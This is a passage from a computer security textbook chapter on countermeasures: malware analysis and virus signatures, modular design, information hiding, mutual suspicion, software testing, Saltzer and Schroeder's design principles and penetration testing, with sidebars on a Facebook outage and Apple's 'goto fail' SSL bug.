In case of an infestation, an analyst may be called in. The analyst starts with code that was actually executing, active in computer memory, but that may represent only a portion of the actual malicious package. Writers interested in stealth clean up, purging memory or disk of unnecessary instructions that were needed once, only to install the infectious code. In any event, analysis starts from machine instructions. Using a tool called a disassembler, the analyst can convert machine-language binary instructions to their assembly language equivalents, but the trail stops there. These assembly language instructions have none of the informative documentation, variable names, structure, labels or comments, and the assembler language representation of a program is much less easily understood than its higher-level language counterpart. Thus, although the

Virus writers and antivirus tool makers engage in a battle to conceal patterns and find those regularities.

202 Chapter 3 Programs and Programming

analyst can determine literally what instructions a piece of code performs, the analyst has a harder time determining the broader intent and impact of those statements.

Security research labs do an excellent job of tracking and analyzing malicious code, but such analysis is necessarily an operation of small steps with microscope and twee- zers. (The phrase microscope and tweezers is attributed to Jerome Saltzer in [EIC89].) Even with analysis tools, the process depends heavily on human ingenuity. In Chapter 10 we expand on teams that do incident response and analysis.

Storage Patterns Most viruses attach to programs that are stored on media such as disks. The attached virus piece is invariant, so the start of the virus code becomes a detectable signature. The attached piece is always located at the same position relative to its attached file. For example, the virus might always be at the beginning, 400 bytes from the top, or at the bottom of the infected file. Most likely, the virus will be at the beginning of the file because the virus writer wants to control execution before the bona fide code of the infected program is in charge. In the simplest case, the virus code sits at the top of the program, and the entire virus does its malicious duty before the normal code is invoked. In other cases, the virus infection consists of only a handful of instructions that point or jump to other, more detailed, instructions elsewhere. For example, the infected code may consist of condition testing and a jump or call to a separate virus module. In either case, the code to which control is transferred will also have a recognizable pat- tern. Both of these situations are shown in Figure 3-25.

A virus may attach itself to a file, in which case the file’s size grows. Or the virus may obliterate all or part of the underlying program, in which case the program’s size does not change but the program’s functioning will be impaired. The virus writer has to choose one of these detectable effects.

Source Code

Object Code

Executable Machine

Code Compiler

Disassembler Executable Machine


Assembly Language



(a) Compilation

(b) Decompilation

FIGURE 3-24 The Compilation Process: (a) Compilation. (b) Decompilation

Thoughtful analysis with “microscope and tweezers” after an attack must complement preventive tools such as virus detectors.

Section 3.3 Countermeasures 203

The virus scanner can use a code or checksum to detect changes to a file. It can also look for suspicious patterns, such as a JUMP instruction as the first instruction of a sys- tem program (in case the virus has positioned itself at the bottom of the file but is to be executed first, as we saw in Figure 3-25).

Countermeasures for Developers

Against this threat background you may well ask how anyone can ever make secure, trustworthy, flawless programs. As the size and complexity of programs grows, the number of possibilities for attack does, too.

In this section we briefly look at some software engineering techniques that have been shown to improve the security of code. Of course, these methods must be used effectively, for a good method used improperly or naïvely will not make programs better by magic. Ideally, developers should have a reasonable understanding of security, and especially of thinking in terms of threats and vulnerabilities. Armed with that mindset and good development practices, programmers can write code that maintains security.

Software Engineering Techniques

Code usually has a long shelf-life and is enhanced over time as needs change and faults are found and fixed. For this reason, a key principle of software engineering is to create a design or code in small, self-contained units, called components or modules; when a system is written this way, we say that it is modular. Modularity offers advantages for program development in general and security in particular.

Original Program

IF (--) JUMP

Separate Virus


Original Program

Attached Virus Code

Recognizable signature elements

FIGURE 3-25 Recognizable Patterns in Viruses

204 Chapter 3 Programs and Programming

If a component is isolated from the effects of other components, then the system is designed in a way that limits the damage any fault causes. Maintaining the system is easier because any problem that arises connects with the fault that caused it. Testing (especially regression testing—making sure that everything else still works when you make a corrective change) is simpler, since changes to an isolated component do not affect other components. And developers can readily see where vulnerabilities may lie if the component is isolated. We call this isolation encapsulation.

Information hiding is another characteristic of modular software. When informa- tion is hidden, each component hides its precise implementation or some other design decision from the others. Thus, when a change is needed, the overall design can remain intact while only the necessary changes are made to particular components.

Let us look at these characteristics in more detail.

Modularity Modularization is the process of dividing a task into subtasks, as depicted in Fig- ure 3-26. This division is usually done on a logical or functional basis, so that each component performs a separate, independent part of the task. The goal is for each com- ponent to meet four conditions:

• single-purpose, performs one function

• small, consists of an amount of information for which a human can readily grasp both structure and content

Single Monolithic






Hierarchical Modularity

FIGURE 3-26 Modularity

Section 3.3 Countermeasures 205

• simple, is of a low degree of complexity so that a human can readily understand the purpose and structure of the module

• independent, performs a task isolated from other modules

Other component characteristics, such as having a single input and single output or using a limited set of programming constructs, indicate modularity. From a security standpoint, modularity should improve the likelihood that an implementation is correct.

In particular, smallness and simplicity help both developers and analysts understand what each component does. That is, in good software, design and program units should be only as large or complex as needed to perform their required functions. There are several advantages to having small, independent components.

• Maintenance. If a component implements a single function, it can be replaced easily with a revised one if necessary. The new component may be needed because of a change in requirements, hardware, or environment. Sometimes the replacement is an enhancement, using a smaller, faster, more correct, or other- wise better module. The interfaces between this component and the remainder of the design or code are few and well described, so the effects of the replace- ment are evident.

• Understandability. A system composed of small and simple components is usu- ally easier to comprehend than one large, unstructured block of code.

• Reuse. Components developed for one purpose can often be reused in other systems. Reuse of correct, existing design or code components can significantly reduce the difficulty of implementation and testing.

• Correctness. A failure can be quickly traced to its cause if the components perform only one task each.

• Testing. A single component with well-defined inputs, outputs, and function can be tested exhaustively by itself, without concern for its effects on other modules (other than the expected function and output, of course).

A modular component usually has high cohesion and low coupling. By cohesion, we mean that all the elements of a component have a logical and functional reason for being there; every aspect of the component is tied to the component’s single purpose. A highly cohesive component has a high degree of focus on the purpose; a low degree of cohesion means that the component’s contents are an unrelated jumble of actions, often put together because of time dependencies or convenience.

Coupling refers to the degree with which a component depends on other components in the system. Thus, low or loose coupling is better than high or tight coupling because the loosely coupled components are free from unwitting interference from other com- ponents. This difference in coupling is shown in Figure 3-27.

Simplicity of software design improves correctness and maintainability.

206 Chapter 3 Programs and Programming

Encapsulation Encapsulation hides a component’s implementation details, but it does not necessarily mean complete isolation. Many components must share information with other compo- nents, usually with good reason. However, this sharing is carefully documented so that a component is affected only in known ways by other components in the system. Sharing is minimized so that the fewest interfaces possible are used.

An encapsulated component’s protective boundary can be translucent or transparent, as needed. Berard [BER00] notes that encapsulation is the “technique for packaging the information [inside a component] in such a way as to hide what should be hidden and make visible what is intended to be visible.”

Information Hiding Developers who work where modularization is stressed can be sure that other components will have limited effect on the ones they write. Thus, we can think of a component as a kind of black box, with certain well-defined inputs and outputs and a well-defined function. Other components’ designers do not need to know how the module com- pletes its function; it is enough to be assured that the component performs its task in some correct manner.

This concealment is the information hiding, depicted in Figure 3-28. Information hiding is desirable, because malicious developers cannot easily alter the components of others if they do not know how the components work.

Tight Coupling

Independent, Loosely Coupled Modules

Module 1

Module 2

Module 3

Module 1

Module 2

Module 3

Module 4

Module 5

FIGURE 3-27 Types of Coupling

Information hiding: describing what a module does, not how

Access to all parts of module Method, data hidden

FIGURE 3-28 Information Hiding

Section 3.3 Countermeasures 207

Mutual Suspicion Programs are not always trustworthy. Even with an operating system to enforce access limitations, it may be impossible or infeasible to bound the access privileges of an untested program effectively. In this case, the user U is legitimately suspicious of a new program P. However, program P may be invoked by another program, Q. There is no way for Q to know that P is correct or proper, any more than a user knows that of P.

Therefore, we use the concept of mutual suspicion to describe the relationship between two programs. Mutually suspicious programs operate as if other routines in the system were malicious or incorrect. A calling program cannot trust its called sub- procedures to be correct, and a called subprocedure cannot trust its calling program to be correct. Each protects its interface data so that the other has only limited access. For example, a procedure to sort the entries in a list cannot be trusted not to modify those elements, while that procedure cannot trust its caller to provide any list at all or to sup- ply the number of elements predicted. An example of misplaced trust is described in Sidebar 3-10.

SIDEBAR 3-10 Facebook Outage from Improper Error Handling

In September 2010 the popular social networking site Facebook was forced to shut down for several hours. According to a posting by company repre- sentative Robert Johnson, the root cause was an improperly handled error condition.

Facebook maintains in a persistent store a set of configuration param- eters that are then copied to cache for ordinary use. Code checks the valid- ity of parameters in the cache. If it finds an invalid value, it fetches the value from the persistent store and uses it to replace the cache value. Thus, the developers assumed the cache value might become corrupted but the per- sistent value would always be accurate.

In the September 2010 instance, staff mistakenly placed an incorrect value in the persistent store. When this value was propagated to the cache, checking routines identified it as erroneous and caused the cache control- ler to fetch the value from the persistent store. The persistent store value, of course, was erroneous, so as soon as the checking routines examined it, they again called for its replacement from the persistent store. This con- stant fetch from the persistent store led to an overload on the server holding the persistent store, which in turn led to a severe degradation in perfor- mance overall.

Facebook engineers were able to diagnose the problem, concluding that the best solution was to disable all Facebook activity and then cor- rect the persistent store value. They gradually allowed Facebook clients to reactivate; as each client detected an inaccurate value in its cache, it would refresh it from the correct value in the persistent store. In this way,


208 Chapter 3 Programs and Programming

the gradual expansion of services allowed these refresh requests to occur without overwhelming access to the persistent store server.

A design of mutual suspicion—not implicitly assuming the cache is wrong and the persistent store is right—would have avoided this catastrophe.

SIDEBAR 3-10 Continued

Confinement Confinement is a technique used by an operating system on a suspected program to help ensure that possible damage does not spread to other parts of a system. A confined program is strictly limited in what system resources it can access. If a program is not trustworthy, the data it can access are strictly limited. Strong confinement would be particularly helpful in limiting the spread of viruses. Since a virus spreads by means of transitivity and shared data, all the data and programs within a single compartment of a confined program can affect only the data and programs in the same compartment. Therefore, the virus can spread only to things in that compartment; it cannot get outside the compartment.

Simplicity The case for simplicity—of both design and implementation—should be self-evident: simple solutions are easier to understand, leave less room for error, and are easier to review for faults. The value of simplicity goes deeper, however.

With a simple design, all members of the design and implementation team can under- stand the role and scope of each element of the design, so each participant knows not only what to expect others to do but also what others expect. Perhaps the worst problem of a running system is maintenance: After a system has been running for some time, and the designers and programmers are working on other projects (or perhaps even at other companies), a fault appears and some unlucky junior staff member is assigned the task of correcting the fault. With no background on the project, this staff member must attempt to intuit the visions of the original designers and understand the entire context of the flaw well enough to fix it. A simple design and implementation facilitates correct maintenance.

Hoare [HOA81] makes the case simply for simplicity of design:

I gave desperate warnings against the obscurity, the complexity, and overambition of the new design, but my warnings went unheeded. I conclude that there are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies and the other way is to make it so complicated that there are no obvious deficiencies.

In 2014 the web site for the annual RSA computer security conference was com- promised. Amit Yoran, Senior Vice President of Products and Sales for RSA, the par- ent company that founded the conference and supports it financially, spoke to the issue. “Unfortunately, complexity is very often the enemy of security,” he concluded,

Section 3.3 Countermeasures 209

emphasizing that he was speaking for RSA and not for the RSA con- ference web site, a separate entity [KRE14].

Genetic Diversity At your local electronics shop you can buy a combination printer–scanner–copier–fax machine. It comes at a good price (compared to costs of buying the four components separately) because there is considerable overlap in implementing the functionality among those four. Moreover, the multifunction device is compact, and you need install only one device on your system, not four. But if any part of it fails, you lose a lot of capabilities all at once. So the multipurpose machine represents the kinds of trade-offs among functionality, economy, and availability that we make in any system design.

An architectural decision about these types of devices is related to the arguments above for modularity, information hiding, and reuse or interchangeability of software components. For these reasons, some people recommend heterogeneity or “genetic diversity” in system architecture: Having many components of a system come from one source or relying on a single component is risky, they say.

However, many systems are in fact quite homogeneous in this sense. For reasons of convenience and cost, we often design systems with software or hardware (or both) from a single vendor. For example, in the early days of computing, it was convenient to buy “bundled” hardware and software from a single vendor. There were fewer decisions for the buyer to make, and if something went wrong, only one phone call was required to initiate trouble-shooting and maintenance. Daniel Geer et al. [GEE03a] examined the monoculture of computing dominated by one manufacturer, often characterized by Apple or Google today, Microsoft or IBM yesterday, unknown tomorrow. They looked at the parallel situation in agriculture where an entire crop may be vulnerable to a single pathogen. In computing, the pathogenic equivalent may be malicious code from the Morris worm to the Code Red virus; these “infections” were especially harmful because a significant proportion of the world’s computers were disabled because they ran ver- sions of the same operating systems (Unix for Morris, Windows for Code Red).

Diversity creates a moving target for the adversary. As Per Larson and colleagues explain [LAR14], introducing diversity automatically is possible but tricky. A com- piler can generate different but functionally equivalent object code from one source file; reordering statements (where there is no functional dependence on the order), using different storage layouts, and even adding useless but harmless instructions helps protect one version from harm that might affect another version. How- ever, different output object code can create a nightmare for code maintenance.

In 2014 many computers and web sites were affected by the so-called Heartbleed malware, which exploited a vulnerability in the widely used OpenSSL software. SSL (secure socket layer) is a cryptographic technique by which browser web communica- tions are secured, for example, to protect the privacy of a banking transaction. (We

“Complexity is often the enemy of security.”—Amit Yoran, RSA

Diversity reduces the number of targets susceptible to one attack type.

210 Chapter 3 Programs and Programming

cover SSL in Chapter 6.) The OpenSSL implementation is used by the majority of web sites; two major packages using OpenSSL account for over 66 percent of sites using SSL. Because the adoption of OpenSSL is so vast, this one vulnerability affects a huge number of sites, putting the majority of Internet users at risk. The warning about lack of diversity in software is especially relevant here. However, cryptography is a delicate topic; even correctly written code can leak sensitive information, not to mention the numerous subtle ways such code can be wrong. Thus, there is a good argument for hav- ing a small number of cryptographic implementations that analysts can scrutinize rigor- ously. But common code presents a single or common point for mass failure.

Furthermore, diversity is expensive, as large users such as companies or universi- ties must maintain several kinds of systems instead of focusing their effort on just one. Furthermore, diversity would be substantially enhanced by a large number of compet- ing products, but the economics of the market make it difficult for many vendors to all profit enough to stay in business. Geer refined the argument in [GEE03], which was debated by James Whittaker [WHI03b] and David Aucsmith [AUC03]. There is no obvious right solution for this dilemma.

Tight integration of products is a similar concern. The Windows operating system is tightly linked to Internet Explorer, the Office suite, and the Outlook email handler. A vulnerability in one of these can also affect the others. Because of the tight integration, fixing a vulnerability in one subsystem can have an impact on the others. On the other hand, with a more diverse (in terms of vendors) architecture, a vulnerability in another vendor’s browser, for example, can affect Word only to the extent that the two systems communicate through a well-defined interface.

A different form of change occurs when a program is loaded into memory for execu- tion. Address-space-layout randomization is a technique by which a module is loaded into different locations at different times (using a relocation device similar to base and bounds registers, described in Chapter 5). However, when an entire module is relocated as a unit, getting one real address gives the attacker the key to compute the addresses of all other parts of the module.

Next we turn from product to process. How is good software produced? As with the code properties, these process approaches are not a recipe: doing these things does not guarantee good code. However, like the code characteristics, these processes tend to reflect approaches of people who successfully develop secure software.


Testing is a process activity that concentrates on product quality: It seeks to locate poten- tial product failures before they actually occur. The goal of testing is to make the product failure free (eliminating the possibility of failure); realistically, however, testing will only reduce the likelihood or limit the impact of failures. Each software problem (especially when it relates to security) has the potential not only for making software fail but also for adversely affecting a business or a life. The failure of one control may expose a vulner- ability that is not ameliorated by any number of functioning controls. Testers improve software quality by finding as many faults as possible and carefully documenting their findings so that developers can locate the causes and repair the problems if possible.

Section 3.3 Countermeasures 211

Testing is easier said than done, and Herbert Thompson points out that security test- ing is particularly hard [THO03]. James Whittaker observes in the Google Testing Blog, 20 August 2010, that “Developers grow trees; testers manage forests,” meaning the job of the tester is to explore the interplay of many factors. Side effects, dependencies, unpredictable users, and flawed implementation bases (languages, compilers, infrastruc- ture) all contribute to this difficulty. But the essential complication with security testing is that we cannot look at just the one behavior the program gets right; we also have to look for the hundreds of ways the program might go wrong.

Types of Testing Testing usually involves several stages. First, each program component is tested on its own. Such testing, known as module testing, component testing, or unit testing, veri- fies that the component functions properly with the types of input expected from a study of the component’s design. Unit testing is done so that the test team can feed a prede- termined set of data to the component being tested and observe what output actions and data are produced. In addition, the test team checks the internal data structures, logic, and boundary conditions for the input and output data.

When collections of components have been subjected to unit testing, the next step is ensuring that the interfaces among the components are defined and handled properly. Indeed, interface mismatch can be a significant security vulnerability, so the interface design is often documented as an application programming interface or API. Inte- gration testing is the process of verifying that the system components work together as described in the system and program design specifications.

Once the developers verify that information is passed among components in accor- dance with their design, the system is tested to ensure that it has the desired functional- ity. A function test evaluates the system to determine whether the functions described by the requirements specification are actually performed by the integrated system. The result is a functioning system.

The function test compares the system being built with the functions described in the developers’ requirements specification. Then, a performance test compares the system with the remainder of these software and hardware requirements. During the function and performance tests, testers examine security requirements and confirm that the sys- tem is as secure as it is required to be.

When the performance test is complete, developers are certain that the system func- tions according to their understanding of the system description. The next step is con- ferring with the customer to make certain that the system works according to customer expectations. Developers join the customer to perform an acceptance test, in which the system is checked against the customer’s requirements description. Upon comple- tion of acceptance testing, the accepted system is installed in the environment in which it will be used. A final installation test is run to make sure that the system still func- tions as it should. However, security requirements often state that a system should not do something. As Sidebar 3-11 demonstrates, absence is harder to demonstrate than presence.

Security testing tries to anticipate the hundreds of ways a program can fail.

212 Chapter 3 Programs and Programming

SIDEBAR 3-11 Absence vs. Presence

Charles Pfleeger [PFL97] points out that security requirements resemble those for any other computing task, with one seemingly insignificant dif- ference. Whereas most requirements say “the system will do this,” security requirements add the phrase “and nothing more.” As we pointed out in Chapter 1, security awareness calls for more than a little caution when a creative developer takes liberties with the system’s specification. Ordinar- ily, we do not worry if a programmer or designer adds a little something extra. For instance, if the requirement calls for generating a file list on a disk, the “something more” might be sorting the list in alphabetical order or displaying the date it was created. But we would never expect someone to meet the requirement by displaying the list and then erasing all the files on the disk!

If we could easily determine whether an addition were harmful, we could just disallow harmful additions. But unfortunately we cannot. For security reasons, we must state explicitly the phrase “and nothing more” and leave room for negotiation in the requirements definition on any pro- posed extensions.

Programmers naturally want to exercise their creativity in extending and expanding the requirements. But apparently benign choices, such as storing a value in a global variable or writing to a temporary file, can have serious security implications. And sometimes the best design approach for security is the counterintuitive one. For example, one attack on a cryp- tographic system depends on measuring the time it takes the system to perform an encryption. With one encryption technique, the time to encrypt depends on the key, a parameter that allows someone to “unlock” or decode the encryption; encryption time specifically depends on the size or the number of bits in the key. The time measurement helps attackers know the approximate key length, so they can narrow their search space accordingly (as described in Chapter 2). Thus, an efficient implementation can actually undermine the system’s security. The solution, oddly enough, is to artificially pad the encryption process with unnecessary computation so that short computations complete as slowly as long ones.

In another instance, an enthusiastic programmer added parity check- ing to a cryptographic procedure. But the routine generating the keys did not supply a check bit, only the keys themselves. Because the keys were generated randomly, the result was that 255 of the 256 encryption keys failed the parity check, leading to the substitution of a fixed key—so that without warning, all encryptions were being performed under the same key!

No technology can automatically distinguish malicious extensions from benign code. For this reason, we have to rely on a combination of approaches, including human-intensive ones, to help us detect when we are going beyond the scope of the requirements and threatening the sys- tem’s security.

Section 3.3 Countermeasures 213

The objective of unit and integration testing is to ensure that the code implemented the design properly; that is, that the programmers have written code to do what the designers intended. System testing has a very different objective: to ensure that the sys- tem does what the customer wants it to do. Regression testing, an aspect of system test- ing, is particularly important for security purposes. After a change is made to enhance the system or fix a problem, regression testing ensures that all remaining functions are still working and that performance has not been degraded by the change. As we point out in Sidebar 3-12, regression testing is difficult because it essentially entails recon- firming all functionality.

SIDEBAR 3-12 The GOTO Fail Bug

In February 2014 Apple released a maintenance patch to its iOS operat- ing system. The problem involved code to implement SSL, the encryption that protects secure web communications, such as between a user’s web browser and a bank’s web site, for example. The code problem, which has been called the “GOTO Fail” bug, is shown in the following code fragment.

if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0) goto fail; if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0) goto fail; goto fail; if ((err =, &hashOut)) != 0) goto fail; ...

fail: SSLFreeBuffer(&signedHashes); SSLFreeBuffer(&hashCtx); return err;

The problem is in the seventh line. If the first two conditional state- ments are false, execution drops directly to the duplicate goto fail line, and exits the routine. The impact of this flaw is that even insecure web connec- tions are treated as secure.

The origin of this error is unknown, but it appears either that another conditional statement was removed during maintenance (but not the cor- responding conditional action of goto fail), or an extra goto fail statement was inadvertently pasted into the routine. Either of those possibilities is an understandable, nonmalicious programming oversight.


214 Chapter 3 Programs and Programming

Each of the types of tests listed here can be performed from two perspectives: black box and clear box (sometimes called white box). Black-box testing treats a system or its components as black boxes; testers cannot “see inside” the system, so they apply particular inputs and verify that they get the expected output. Clear-box testing allows visibility. Here, testers can examine the design and code directly, generating test cases based on the code’s actual construction. Thus, clear-box testing reveals that component X uses CASE statements and can look for instances in which the input causes control to drop through to an unexpected line. Black-box testing must rely more on the required inputs and outputs because the actual code is not available for scrutiny.

James Whittaker in his testing blog lists seven key ingredients for testing (http:// We summarize his posting here:

1. Product expertise. The tester needs to understand the requirements and func- tionality of the object being tested. More importantly, the tester should have sufficient familiarity with the product to be able to predict what it cannot do and be able to stress it in all its configurations.

2. Coverage. Testing must be complete, in that no component should be ignored, no matter how small or insignificant.

3. Risk analysis. Testing can never cover everything. Thus, wise testing, that is, to spend testing resources wisely and effectively, is necessary. A risk analysis answers the questions what are the most critical pieces and what can go seri- ously wrong? From this the priority for testing becomes clearer.

4. Domain expertise. A tester must understand the product being tested. Trivially, someone cannot effectively test a Fahrenheit-to-centigrade converter without understanding those two temperature scales.

5. Common vocabulary. There is little common vocabulary for testing; even terms like black-box testing are subject to some interpretation. More importantly,

Regression testing to catch such a simple programming error would require setting up a complicated test case. Programmers are often pressed during maintenance to complete fixes rapidly, so there is not time for thor- ough testing, which could be how this flaw became part of the standard distribution of the operating system.

The flaw is small and easy to spot when you know to look for it, although it is line 632 of a 1970-line file, where it would stand out less than in the fragment we reproduce here. The error affected mobile iPhones and iPads, as well as desktop Macintosh computers. The patches released by Apple indicate the error has been embedded in production code for some time. For more details on the flaw, see Paul Ducklin’s blog posting at anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/.

SIDEBAR 3-12 Continued

Section 3.3 Countermeasures 215

testers need to be able to share patterns and techniques with one another, and to do that, testers need some common understanding of the larger process.

6. Variation. Testing is not a checklist exercise; if it were, we would automate the whole process, let a machine do it, and never have product failures. Testers need to vary their routine, test different things in different ways, and adapt to suc- cesses and failures.

7. Boundaries. Because testing can continue indefinitely, some concept of com- pleteness and sufficiency is necessary. Sometimes, finite resources of time or money dictate how much testing is done. A better approach is a rational plan that determines what degree of testing is adequate.

Effectiveness of Testing The mix of techniques appropriate for testing a given system depends on the system’s size, application domain, amount of risk, and many other factors. But understanding the effectiveness of each technique helps us know what is right for each particular system. For example, Olsen [OLS93] describes the development at Contel IPC of a system con- taining 184,000 lines of code. He tracked faults discovered during various activities and found these differences:

• 17.3 percent of the faults were found during inspections of the system design

• 19.1 percent during component design inspection

• 15.1 percent during code inspection

• 29.4 percent during integration testing

• 16.6 percent during system and regression testing

Only 0.1 percent of the faults were revealed after the system was placed in the field. Thus, Olsen’s work shows the importance of using different techniques to uncover dif- ferent kinds of faults during development; we must not rely on a single method applied at one time to catch all problems.

Who does the testing? From a security standpoint, independent testing is highly desirable; it may prevent a developer from attempting to hide something in a routine or keep a subsystem from controlling the tests that will be applied to it. Thus, independent testing increases the likelihood that a test will expose the effect of a hidden feature.

Limitations of Testing Testing is the most widely accepted assurance technique. As Earl Boebert [BOE92] observes, conclusions from testing are based on the actual product being evaluated, not on some abstraction or precursor of the product. This realism is a security advantage. However, conclusions based on testing are necessarily limited, for the following reasons:

• Testing can demonstrate the existence of a problem, but passing tests does not demonstrate the absence of problems.

• Testing adequately within reasonable time or effort is difficult because the com- binatorial explosion of inputs and internal states makes complete testing com- plex and time consuming.

216 Chapter 3 Programs and Programming

• Testing only observable effects, not the internal structure of a product, does not ensure any degree of completeness.

• Testing the internal structure of a product involves modifying the product by adding code to extract and display internal states. That extra functionality affects the product’s behavior and can itself be a source of vulnerabilities or can mask other vulnerabilities.

• Testing real-time or complex systems requires keeping track of all states and triggers. This profusion of possible situations makes it hard to reproduce and analyze problems reported as testers proceed.

Ordinarily, we think of testing in terms of the developer: unit testing a module, integration testing to ensure that modules function properly together, function testing to trace correctness across all aspects of a given function, and system testing to com- bine hardware with software. Likewise, regression testing is performed to make sure a change to one part of a system does not degrade any other functionality. But for other tests, including acceptance tests, the user or customer administers them to determine if what was ordered is what is delivered. Thus, an important aspect of assurance is consid- ering whether the tests run are appropriate for the application and level of security. The nature and kinds of testing reflect the developer’s testing strategy: which tests address what issues.

Similarly, testing is almost always constrained by a project’s budget and schedule. The constraints usually mean that testing is incomplete in some way. For this reason, we consider notions of test coverage, test completeness, and testing effectiveness in a testing strategy. The more complete and effective our testing, the more confidence we have in the software. More information on testing can be found in Pfleeger and Atlee [PFL10].

Countermeasure Specifically for Security

General software engineering principles are intended to lead to correct code, which is certainly a security objective, as well. However, there are also activities during program design, implementation, and fielding specifically to improve the security of the finished product. We consider those practices next.

Design Principles for Security

Multics (MULTiplexed Information and Computer Service) was a major secure software project intended to provide a computing utility to its users, much as we access electricity or water. The system vision involved users who could effortlessly connect to it, use the computing services they needed, and then disconnect—much as we turn the tap on and off. Clearly all three fundamental goals of computer security—confidentiality, integrity, and availability—are necessary for such a widely shared endeavor, and security was a major objective for the three participating Multics partners: M.I.T, AT&T Bell Labora- tories, and GE. Although the project never achieved significant commercial success, its development helped establish secure computing as a rigorous and active discipline. The Unix operating system grew out of Multics, as did other now-common operating system

Section 3.3 Countermeasures 217

design elements, such as a hierarchical file structure, dynamically invoked modules, and virtual memory.

The chief security architects for Multics, Jerome Saltzer and Michael Schroeder, documented several design principles intended to improve the security of the code they were developing. Several of their design principles are essential for building a solid, trusted operating system. These principles, well articulated in Saltzer [SAL74] and Saltzer and Schroeder [SAL75], include the following:

• Least privilege. Each user and each program should operate using the fewest privileges possible. In this way, damage from an inadvertent or malicious attack is minimized.

• Economy of mechanism. The design of the protection system should be small, simple, and straightforward. Such a protection system can be carefully analyzed, exhaustively tested, perhaps verified, and relied on.

• Open design. The protection mechanism must not depend on the ignorance of potential attackers; the mechanism should be public, depending on secrecy of relatively few key items, such as a password table. An open design is also avail- able for extensive public scrutiny, thereby providing independent confirmation of the design security.

• Complete mediation. Every access attempt must be checked. Both direct access attempts (requests) and attempts to circumvent the access-checking mechanism should be considered, and the mechanism should be positioned so that it cannot be circumvented.

• Permission based. The default condition should be denial of access. A conserva- tive designer identifies the items that should be accessible, rather than those that should not.

• Separation of privilege. Ideally, access to objects should depend on more than one condition, such as user authentication plus a cryptographic key. In this way, someone who defeats one protection system will not have complete access.

• Least common mechanism. Shared objects provide potential channels for infor- mation flow. Systems employing physical or logical separation reduce the risk from sharing.

• Ease of use. If a protection mechanism is easy to use, it is unlikely to be avoided.

These principles have been generally accepted by the security community as con- tributing to the security of software and system design. Even though they date from the stone age of computing, the 1970s, they are at least as important today. As a mark of how fundamental and valid these precepts are, consider the recently issued “Top 10 Secure Coding Practices” from the Computer Emergency Response Team (CERT) of the Software Engineering Institute at Carnegie Mellon University [CER10].

1. Validate input. 2. Heed compiler warnings. 3. Architect and design for security policies. 4. Keep it simple.

218 Chapter 3 Programs and Programming

5. Default to deny. 6. Adhere to the principle of least privilege. 7. Sanitize data sent to other systems. 8. Practice defense in depth. 9. Use effective quality-assurance techniques.

10. Adopt a secure coding standard.

Of these ten, numbers 4, 5, and 6 match directly with Saltzer and Schroeder, and 3 and 8 are natural outgrowths of that work. Similarly, the Software Assurance Forum for Excellence in Code (SAFECode)2 produced a guidance document [SAF11] that is also compatible with these concepts, including such advice as implementing least privilege and sandboxing (to be defined later), which is derived from separation of privilege and complete mediation. We elaborate on many of the points from SAFECode throughout this chapter, and we encourage you to read their full report after you have finished this chapter. Other authors, such as John Viega and Gary McGraw [VIE01] and Michael Howard and David LeBlanc [HOW02], have elaborated on the concepts in developing secure programs.

Penetration Testing for Security

The testing approaches in this chapter have described methods appropriate for all pur- poses of testing: correctness, usability, performance, as well as security. In this section we examine several approaches that are especially effective at uncovering security flaws.

We noted earlier in this chapter that penetration testing or tiger team analysis is a strategy often used in computer security. (See, for example, [RUB01, TIL03, PAL01].) Sometimes it is called ethical hacking, because it involves the use of a team of experts trying to crack the system being tested (as opposed to trying to break into the system for unethical reasons). The work of penetration testers closely resembles what an actual attacker might do [AND04, SCH00b]. The tiger team knows well the typical vulner- abilities in operating systems and computing systems. With this knowledge, the team attempts to identify and exploit the system’s particular vulnerabilities.

Penetration testing is both an art and science. The artistic side requires careful analysis and creativity in choosing the test cases. But the scientific side requires rigor, order, precision, and organization. As Clark Weissman observes [WEI95], there is an organized methodology for hypothesizing and verifying flaws. It is not, as some might assume, a random punching contest.

Using penetration testing is much like asking a mechanic to look over a used car on a sales lot. The mechanic knows potential weak spots and checks as many of them as possible. A good mechanic will likely find most significant problems, but finding a problem (and fixing it) is no guarantee that no other problems are lurking in other parts

2. SAFECode is a non-profit organization exclusively dedicated to increasing trust in information and com- munications technology products and services through the advancement of effective software assurance methods. Its members include Adobe Systems Incorporated, EMC Corporation, Juniper Networks, Inc., Microsoft Corp., Nokia, SAP AG, and Symantec Corp.

Section 3.3 Countermeasures 219

of the system. For instance, if the mechanic checks the fuel system, the cooling system, and the brakes, there is no guarantee that the muffler is good.

In the same way, an operating system that fails a penetration test is known to have faults, but a system that does not fail is not guaranteed to be fault-free. All we can say is that the system is likely to be free only from the types of faults checked by the tests exercised on it. Nevertheless, penetration test- ing is useful and often finds faults that might have been overlooked by other forms of testing.

One possible reason for the success of penetration testing is its use under real-life conditions. Users often exercise a system in ways that its designers never anticipated or intended. So penetration testers can exploit this real-life environment and knowledge to make certain kinds of problems visible.

Penetration testing is popular with the commercial community that thinks skilled hackers will test (attack) a site and find all its problems in days, if not hours. But find- ing flaws in complex code can take weeks if not months, so there is no guarantee that penetration testing will be effective.

Indeed, the original military “red teams” convened to test security in software sys- tems were involved in 4- to 6-month exercises—a very long time to find a flaw. Ander- son et al. [AND04] elaborate on this limitation of penetration testing. To find one flaw in a space of 1 million inputs may require testing all 1 million possibilities; unless the space is reasonably limited, the time needed to perform this search is prohibitive. To test the testers, Paul Karger and Roger Schell inserted a security fault in the painstakingly designed and developed Multics system, to see if the test teams would find it. Even after Karger and Schell informed testers that they had inserted a piece of malicious code in a system, the testers were unable to find it [KAR02]. Penetration testing is not a magic technique for finding needles in haystacks.

Proofs of Program Correctness

A security specialist wants to be certain that a given program computes a particular result, computes it correctly, and does nothing beyond what it is supposed to do. Unfor- tunately, results in computer science theory indicate that we cannot know with certainty that two programs do exactly the same thing. That is, there can be no general procedure which, given any two programs, determines if the two are equivalent. This difficulty results from the “halting problem,” which states that there can never be a general tech- nique to determine whether an arbitrary program will halt when processing an arbitrary input. (See [PFL85] for a discussion.)

In spite of this disappointing general result, a technique called program verification can demonstrate formally the “correctness” of certain specific programs. Program veri- fication involves making initial assertions about the program’s inputs and then checking to see if the desired output is generated. Each program statement is translated into a logical description about its contribution to the logical flow of the program. Then, the terminal statement of the program is associated with the desired output. By applying a

A system that fails penetration testing is known to have faults; one that passes is known only not to have the faults tested for.

